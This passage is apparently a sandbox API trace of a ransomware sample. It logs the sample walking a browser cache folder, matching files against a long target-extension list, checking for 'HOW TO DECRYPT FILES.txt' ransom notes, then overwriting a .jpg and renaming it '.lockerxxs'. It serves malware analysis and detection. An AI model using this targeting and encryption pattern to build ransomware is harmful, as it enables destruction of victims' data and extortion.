HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.eml") returned 0 [0084.764] lstrlenA (lpString="*.eml") returned 5 [0084.764] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.msg") returned 0 [0084.764] lstrlenA (lpString="*.msg") returned 5 [0084.764] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.edb") returned 0 [0084.764] lstrlenA (lpString="*.edb") returned 5 [0084.765] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.accdb") returned 0 [0084.765] lstrlenA (lpString="*.accdb") returned 7 [0084.765] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.odb") returned 0 [0084.765] lstrlenA (lpString="*.odb") returned 5 [0084.765] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.java") returned 0 [0084.765] lstrlenA (lpString="*.java") returned 6 [0084.765] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.asm") returned 0 [0084.765] lstrlenA (lpString="*.asm") returned 5 [0084.765] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.pfx") returned 0 [0084.765] lstrlenA (lpString="*.pfx") returned 5 [0084.765] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.pem") returned 0 [0084.765] lstrlenA (lpString="*.pem") returned 5 [0084.765] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.p12") returned 0 [0084.765] lstrlenA (lpString="*.p12") returned 5 [0084.765] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.gpg") returned 0 [0084.765] lstrlenA (lpString="*.gpg") returned 5 [0084.766] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.vsd") returned 0 [0084.766] lstrlenA (lpString="*.vsd") returned 5 [0084.766] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.odg") returned 0 [0084.766] lstrlenA (lpString="*.odg") returned 5 [0084.766] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.raw") returned 0 [0084.766] lstrlenA (lpString="*.raw") returned 5 [0084.766] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.nef") returned 0 [0084.766] lstrlenA (lpString="*.nef") returned 5 [0084.766] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.svg") returned 0 [0084.766] lstrlenA (lpString="*.svg") returned 5 [0084.766] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.psd") returned 0 [0084.766] lstrlenA (lpString="*.psd") returned 5 [0084.766] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.vmx") returned 0 [0084.766] lstrlenA (lpString="*.vmx") returned 5 [0084.767] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.vmdk") returned 0 [0084.767] lstrlenA (lpString="*.vmdk") returned 6 [0084.767] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.vdi") returned 0 [0084.767] lstrlenA (lpString="*.vdi") returned 5 [0084.767] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.lay6") returned 0 [0084.767] lstrlenA (lpString="*.lay6") returned 6 [0084.767] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.mpeg") returned 0 [0084.767] lstrlenA (lpString="*.mpeg") returned 6 [0084.767] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.djvu") returned 0 [0084.767] lstrlenA (lpString="*.djvu") returned 6 [0084.767] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.tiff") returned 0 [0084.768] lstrlenA (lpString="*.tiff") returned 6 [0084.768] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.backup") returned 0 [0084.768] lstrlenA (lpString="*.backup") returned 8 [0084.768] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.pdf") returned 0 [0084.768] lstrlenA (lpString="*.pdf") returned 5 [0084.768] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.cert") returned 0 [0084.768] lstrlenA (lpString="*.cert") returned 6 [0084.768] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.docm") returned 0 [0084.769] lstrlenA (lpString="*.docm") returned 6 [0084.769] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.xlsm") returned 0 [0084.769] lstrlenA (lpString="*.xlsm") returned 6 [0084.769] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.dwg") returned 0 [0084.769] lstrlenA (lpString="*.dwg") returned 5 [0084.769] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.nd") returned 0 [0084.769] lstrlenA (lpString="*.nd") returned 4 [0084.769] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.tlg") returned 0 [0084.769] lstrlenA (lpString="*.tlg") returned 5 [0084.769] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.lgb") returned 0 [0084.769] lstrlenA (lpString="*.lgb") returned 5 [0084.769] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.mov") returned 0 [0084.769] lstrlenA (lpString="*.mov") returned 5 [0084.769] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.xdw") returned 0 [0084.769] lstrlenA (lpString="*.xdw") returned 5 [0084.769] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.ods") returned 0 [0084.769] lstrlenA (lpString="*.ods") returned 5 [0084.769] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.wav") returned 0 [0084.770] lstrlenA (lpString="*.wav") returned 5 [0084.770] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.mp3") returned 0 [0084.770] lstrlenA (lpString="*.mp3") returned 5 [0084.770] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.aiff") returned 0 [0084.770] lstrlenA (lpString="*.aiff") returned 6 [0084.770] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.flac") returned 0 [0084.770] lstrlenA (lpString="*.flac") returned 6 [0084.770] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.m4a") returned 0 [0084.770] lstrlenA (lpString="*.m4a") returned 5 [0084.770] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js", pszSpec="*.csv") returned 0 [0084.770] lstrlenA (lpString="*.csv") returned 5 [0084.770] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64009240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x64009240, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6402f3a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5244, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="eula-win[1].jpg", cAlternateFileName="EULA-W~1.JPG")) returned 1 [0084.770] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.770] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula-win[1].jpg") returned -1 [0084.770] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula-win[1].jpg") returned 1 [0084.771] lstrcmpiA (lpString1="", lpString2="eula-win[1].jpg") returned -1 [0084.771] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\ebHtml5Banner[1].js") returned="ebHtml5Banner[1].js" [0084.771] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.771] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.771] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.771] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.771] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="eula-win[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg" [0084.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.ems") returned 0 [0084.771] lstrlenA (lpString="*.ems") returned 5 [0084.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.db") returned 0 [0084.771] lstrlenA (lpString="*.db") returned 4 [0084.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.dbf") returned 0 [0084.771] lstrlenA (lpString="*.dbf") returned 5 [0084.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.myox") returned 0 [0084.772] lstrlenA (lpString="*.myox") returned 6 [0084.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.myo") returned 0 [0084.772] lstrlenA (lpString="*.myo") returned 5 [0084.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.qbw") returned 0 [0084.772] lstrlenA (lpString="*.qbw") returned 5 [0084.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.qbb") returned 0 [0084.772] lstrlenA (lpString="*.qbb") returned 5 [0084.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.qbm") returned 0 [0084.772] lstrlenA (lpString="*.qbm") returned 5 [0084.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.qbo") returned 0 [0084.772] lstrlenA (lpString="*.qbo") returned 5 [0084.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.qbx") returned 0 [0084.772] lstrlenA (lpString="*.qbx") returned 5 [0084.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.qba") returned 0 [0084.772] lstrlenA (lpString="*.qba") returned 5 [0084.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.qby") returned 0 [0084.773] lstrlenA (lpString="*.qby") returned 5 [0084.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.qbj") returned 0 [0084.773] lstrlenA (lpString="*.qbj") returned 5 [0084.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.ofx") returned 0 [0084.773] lstrlenA (lpString="*.ofx") returned 5 [0084.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.qif") returned 0 [0084.773] lstrlenA (lpString="*.qif") returned 5 [0084.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.mye") returned 0 [0084.773] lstrlenA (lpString="*.mye") returned 5 [0084.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.mbox") returned 0 [0084.773] lstrlenA (lpString="*.mbox") returned 6 [0084.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.eml") returned 0 [0084.774] lstrlenA (lpString="*.eml") returned 5 [0084.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.pst") returned 0 [0084.774] lstrlenA (lpString="*.pst") returned 5 [0084.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.ost") returned 0 [0084.774] lstrlenA (lpString="*.ost") returned 5 [0084.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.idx") returned 0 [0084.774] lstrlenA (lpString="*.idx") returned 5 [0084.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.dbx") returned 0 [0084.774] lstrlenA (lpString="*.dbx") returned 5 [0084.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.sql") returned 0 [0084.774] lstrlenA (lpString="*.sql") returned 5 [0084.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.mdb") returned 0 [0084.775] lstrlenA (lpString="*.mdb") returned 5 [0084.775] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.fdb") returned 0 [0084.775] lstrlenA (lpString="*.fdb") returned 5 [0084.775] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.wab") returned 0 [0084.775] lstrlenA (lpString="*.wab") returned 5 [0084.775] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.dat") returned 0 [0084.775] lstrlenA (lpString="*.dat") returned 5 [0084.775] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.txt") returned 0 [0084.775] lstrlenA (lpString="*.txt") returned 5 [0084.775] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.jpeg") returned 0 [0084.775] lstrlenA (lpString="*.jpeg") returned 6 [0084.775] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", pszSpec="*.jpg") returned 1 [0084.775] lstrlenA (lpString="*.jpg") returned 5 [0084.775] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg" [0084.786] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg") returned="eula-win[1].jpg" [0084.786] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.786] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x521e, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x521e, lpOverlapped=0x0) returned 1 [0084.788] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.788] CloseHandle (hObject=0xa4) returned 1 [0084.788] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\eula-win[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\eula-win[1].jpg.lockerxxs")) returned 1 [0084.789] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe15e7f0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe15e7f0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbe15e7f0, 